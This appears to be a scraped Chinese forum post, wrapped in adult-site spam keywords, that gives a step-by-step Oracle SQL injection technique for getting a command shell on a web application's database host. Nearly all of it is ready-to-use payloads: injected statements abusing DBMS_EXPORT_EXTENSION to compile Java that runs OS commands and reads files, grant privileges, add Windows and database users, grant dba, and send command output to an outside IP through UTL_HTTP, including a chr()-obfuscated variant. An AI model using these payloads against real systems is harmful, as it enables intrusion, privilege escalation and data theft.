欧美自拍小视频_国产片在线免费观看_中文字幕啪啪_成人av高清在线_欧美一区二区视频免费观看_亚洲国产激情

以文本方式查看主題

-  曙海教育集團(tuán)論壇  (http://www.rfoamep.cn/bbs/index.asp)
--  Oracle數(shù)據(jù)庫  (http://www.rfoamep.cn/bbs/list.asp?boardid=65)
----  犀利的 oracle 注入技術(shù)  (http://www.rfoamep.cn/bbs/dispbbs.asp?boardid=65&id=2503)

--  作者:wangxinxin
--  發(fā)布時(shí)間:2010-12-11 11:04:20
--  犀利的 oracle 注入技術(shù)
介紹一個(gè)在web上通過oracle注入直接取得主機(jī)cmdshell的方法。

以下的演示都是在web上的sql plus執(zhí)行的,在web注入時(shí) 把select SYS.DBMS_EXPORT_EXTENSION.....改成
/xxx.jsp?id=1 and \'1\'<>\'a\'||(select SYS.DBMS_EXPORT_EXTENSION.....)
的形式即可。(用" \'a\'|| "是為了讓語句返回true值)

語句有點(diǎn)長,可能要用post提交。

以下是各個(gè)步驟:
1.創(chuàng)建包
通過注入 SYS.DBMS_EXPORT_EXTENSION 函數(shù),在oracle上創(chuàng)建Java包LinxUtil,里面兩個(gè)函數(shù),runCMD用于執(zhí)行系統(tǒng)命令,readFile用于讀取文件:
/xxx.jsp?id=1 and \'1\'<>\'a\'||(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'  
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
}\'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual
)

------------------------
如果url有長度限制,可以把readFile()函數(shù)塊去掉,即:
/xxx.jsp?id=1 and \'1\'<>\'a\'||(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'  
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
}\'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual
)
同時(shí)把后面步驟 提到的 對readFile()的處理語句去掉。
------------------------------
2.賦Java權(quán)限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'begin dbms_java.grant_permission( \'\'\'\'\'\'\'\'PUBLIC\'\'\'\'\'\'\'\', \'\'\'\'\'\'\'\'SYS:java.io.FilePermission\'\'\'\'\'\'\'\', \'\'\'\'\'\'\'\'<<ALL FILES>>\'\'\'\'\'\'\'\', \'\'\'\'\'\'\'\'execute\'\'\'\'\'\'\'\' );end;\'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual

3.創(chuàng)建函數(shù)
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'   
create or replace function LinxRunCMD(p_cmd in varchar2)  return varchar2  as language java name \'\'\'\'\'\'\'\'LinxUtil.runCMD(java.lang.String) return String\'\'\'\'\'\'\'\';   \'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'   
create or replace function LinxReadFile(filename in varchar2)  return varchar2  as language java name \'\'\'\'\'\'\'\'LinxUtil.readFile(java.lang.String) return String\'\'\'\'\'\'\'\';   \'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual

4.賦public執(zhí)行函數(shù)的權(quán)限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'grant all on LinxRunCMD to public\'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'grant all on LinxReadFile to public\'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual

5.測試上面的幾步是否成功

and \'1\'<>\'11\'||(
select  OBJECT_ID from all_objects where  object_name =\'LINXRUNCMD\'
)
and \'1\'<>(
select  OBJECT_ID from all_objects where  object_name =\'LINXREADFILE\'
)
6.執(zhí)行命令:

/xxx.jsp?id=1 and \'1\'<>(
select  sys.LinxRunCMD(\'cmd /c net user linx /add\') from dual
)

/xxx.jsp?id=1 and \'1\'<>(
select  sys.LinxReadFile(\'c:/boot.ini\') from dual
)

注意sys.LinxReadFile()返回的是varchar類型,不能用"and 1<>" 代替 "and \'1\'<>"。
如果要查看運(yùn)行結(jié)果可以用 union :
/xxx.jsp?id=1 union select  sys.LinxRunCMD(\'cmd /c net user linx /add\') from dual

或者UTL_HTTP.request(:
/xxx.jsp?id=1 and \'1\'<>(
SELECT UTL_HTTP.request(\'http://211.71.147.3/record.php?a=LinxRunCMD:\'||REPLACE(REPLACE(sys.LinxRunCMD(\'cmd /c net user aaa /del\'),\' \',\'%20\'),\'\\n\',\'%0A\')) FROM dual
)

/xxx.jsp?id=1 and \'1\'<>(
SELECT UTL_HTTP.request(\'http://211.71.147.3/record.php?a=LinxRunCMD:\'||REPLACE(REPLACE(sys.LinxReadFile(\'c:/boot.ini\'),\' \',\'%20\'),\'\\n\',\'%0A\')) FROM dual
)
注意:用UTL_HTTP.request時(shí),要用 REPLACE() 把空格、換行符給替換掉,否則會無法提交http request。用utl_encode.base64_encode也可以。


--------------------
6.內(nèi)部變化
通過以下命令可以查看all_objects表達(dá)改變:
select  * from all_objects where  object_name like \'%LINX%\' or  object_name like \'%Linx%\'
7.刪除我們創(chuàng)建的函數(shù)
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'   
drop function LinxRunCMD  \'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual



====================================================
全文結(jié)束。謹(jǐn)以此文贈與我的朋友。
linx
124829445
2008.1.12
edu.cn" target="_blank">linyujian@bjfu.edu.cn


======================================================================
測試漏洞的另一方法:
創(chuàng)建oracle帳號:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'
CREATE USER linxsql IDENTIFIED BY linxsql\'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual

即:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual

確定漏洞存在:
1<>(
select user_id from all_users where username=\'LINXSQL\'
)
給linxsql連接權(quán)限:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'
GRANT CONNECT TO linxsql\'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual
刪除帳號:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'
drop user LINXSQL\'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual

======================
以下方法創(chuàng)建一個(gè)可以執(zhí)行多語句的函數(shù)Linx_query(),執(zhí)行成功的話返回?cái)?shù)值"1",但權(quán)限是繼承的,可能僅僅是public權(quán)限,作用似乎不大,真的要用到話可以考慮grant dba to 當(dāng)前的User:

1.jsp?id=1 and \'1\'<>(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'   
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1;  end;   \'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual
) and ...

1.jsp?id=1 and \'1\'<>(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'grant all on Linx_query to public\'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual
) and ...
1.jsp?id=1 and \'1\'<>(
SELECT sys.Linx_Query(\'SELECT 14554 FROM DUAL\') FROM DUAL
) and ...

1.jsp?id=1 and \'1\'<>(
SELECT sys.Linx_Query(\'declare pragma
autonomous_transaction; begin execute immediate \'\'
select 1 from dual
\'\'; commit; end;\') from dual
) and ...

多語句:
SELECT sys.Linx_Query(\'declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;\') from dual

創(chuàng)建用戶(除非當(dāng)前用戶有system權(quán)限,否則無法成功):
SELECT sys.Linx_Query(\'declare pragma
autonomous_transaction; begin execute immediate \'\'
CREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User
\'\'; commit; end;\') from dual


================
以下的方法是先建立函數(shù)Linx_Query(),再建立 RunCMD2()
1.創(chuàng)建函數(shù)
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'   
create or replace function Linx_Query (p
varchar2) return number authid current_user is begin execute immediate
p; return 1;  end;   \'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual;

如果有權(quán)限,以下語句應(yīng)該允許正常
select sys.linx_query(\'select 1 from dual\') from dual;
不然的話運(yùn)行:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'
grant dba to 當(dāng)前的User\'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual


2.創(chuàng)建包
SELECT sys.Linx_Query(\'declare pragma
autonomous_transaction; begin execute immediate \'\'
create or replace and compile java source named "LinxUtil2"   as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) );  String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\\n";return str;}}\'\'; commit; end;\') from dual
3.創(chuàng)建函數(shù)
SELECT sys.Linx_Query(\'declare pragma
autonomous_transaction; begin execute immediate \'\'
create or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name \'\'\'\'LinxUtil2.RunCMD(java.lang.String) return String\'\'\'\';\'\'; commit; end;\') from dual
4.給權(quán)限
給用戶SYSTEM執(zhí)行權(quán)限:
SELECT sys.Linx_Query(\'declare pragma autonomous_transaction;begin dbms_java.grant_permission( \'\'SYSTEM\'\', \'\'SYS:java.io.FilePermission\'\', \'\'<<ALL FILES>>\'\', \'\'execute\'\' );end;\') from dual

5.執(zhí)行函數(shù)
select RunCMD2(\'cmd /c dir\') from dual

主站蜘蛛池模板: 国产激情大臿免费视频 | 亚洲h精品动漫在线观看 | 久久精品夜夜夜夜夜久久 | 久热国产在线 | 91手机看片国产福利精品 | 亚洲国产香蕉碰碰人人 | 国产91色在线 | 国内精品伊人久久久久777 | 小荡货好紧好爽奶头大视频 | 少妇被粗大的猛进69视频 | 亚洲av日韩av男人的天堂在线 | 国产男女视频在线观看 | 爱情岛论坛首页永久入口 | 欧美日韩另类在线 | 欧美日韩不卡一区 | 国产放荡对白视频在线观看 | 又大又硬又黄的免费视频 | 国产精品午夜福利麻豆 | 欧美日韩视频在线第一区二区三区 | 免费av片在线观看蜜芽tv | 国产高清免费的视频 | 午夜视频在线观看国产 | 麻豆精品在线观看 | 日本少妇寂寞少妇aaa | 国产女人和拘做受视频免费 | 69成人做爰免费视频 | 日本中文字幕一区二区有码在线 | 国产高颜值露脸在线观看 | 久久视频在线观看免费 | 91高清在线观看 | 色偷偷亚洲男人 | 中文字幕日韩欧美一区二区三区 | 手机在线色视频 | 欧美一级专区免费大片 | 一色屋精品免费视频 视频 一色屋精品视频在线观看 一色屋色费精品视频在线观看 | 漂亮人妻被黑人久久精品 | 18禁无遮挡羞羞啪啪免费网站 | 天天做天天添av国产亚洲 | 色婷亚洲 | 免费无码黄动漫在线观看 | 日韩在线不卡免费视频一区 |